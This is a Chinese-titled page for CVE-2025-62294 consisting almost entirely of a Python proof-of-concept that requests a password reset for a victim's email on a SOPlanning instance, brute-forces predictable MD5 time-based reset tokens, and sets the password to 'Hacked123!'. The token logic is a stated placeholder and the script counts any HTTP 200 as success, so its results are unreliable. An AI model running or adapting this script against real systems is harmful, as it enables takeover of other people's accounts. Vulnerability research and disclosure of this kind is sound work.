CVE-2025-62294 SOPlanning密码恢复令牌可预测生成漏洞

import requests import hashlib import time # CVE-2025-62294 PoC - SOPlanning Password Recovery Token Brute Force # Target: SOPlanning instance # Vulnerability: Predictable Password Recovery Token Generation TARGET_URL = "http://target-server/soplanning" TARGET_EMAIL = "[email protected]" def generate_predictable_token(user_id, timestamp): """ Generate potential tokens based on weak algorithm Replace with actual token generation logic discovered through analysis """ token_base = f"{user_id}:{timestamp}" return hashlib.md5(token_base.encode()).hexdigest() def request_password_reset(email): """ Request password reset for target email """ reset_url = f"{TARGET_URL}/user/password-forgotten.php" data = { "email": email, "submit": "1" } response = requests.post(reset_url, data=data) return response def brute_force_token(email, user_id): """ Brute force password reset token Note: This is for educational purposes only """ timestamp = int(time.time()) # Try tokens from past 1 hour to next 5 minutes for offset in range(-3600, 300, 60): potential_timestamp = timestamp + offset token = generate_predictable_token(user_id, potential_timestamp) verify_url = f"{TARGET_URL}/user/password-reset.php" data = { "email": email, "token": token, "new_password": "Hacked123!" } response = requests.post(verify_url, data=data) if "success" in response.text.lower() or response.status_code == 200: print(f"[+] Token found: {token}") print(f"[+] Password reset successful") return True return False # Main execution print("[*] CVE-2025-62294 - SOPlanning Token Prediction Attack") print(f"[*] Target: {TARGET_URL}") print(f"[*] Victim: {TARGET_EMAIL}") # Step 1: Request password reset response = request_password_reset(TARGET_EMAIL) if response.status_code == 200: print("[*] Password reset request sent successfully") # Step 2: Brute force the token brute_force_token(TARGET_EMAIL, user_id=1) else: print("[-] Failed to request password reset")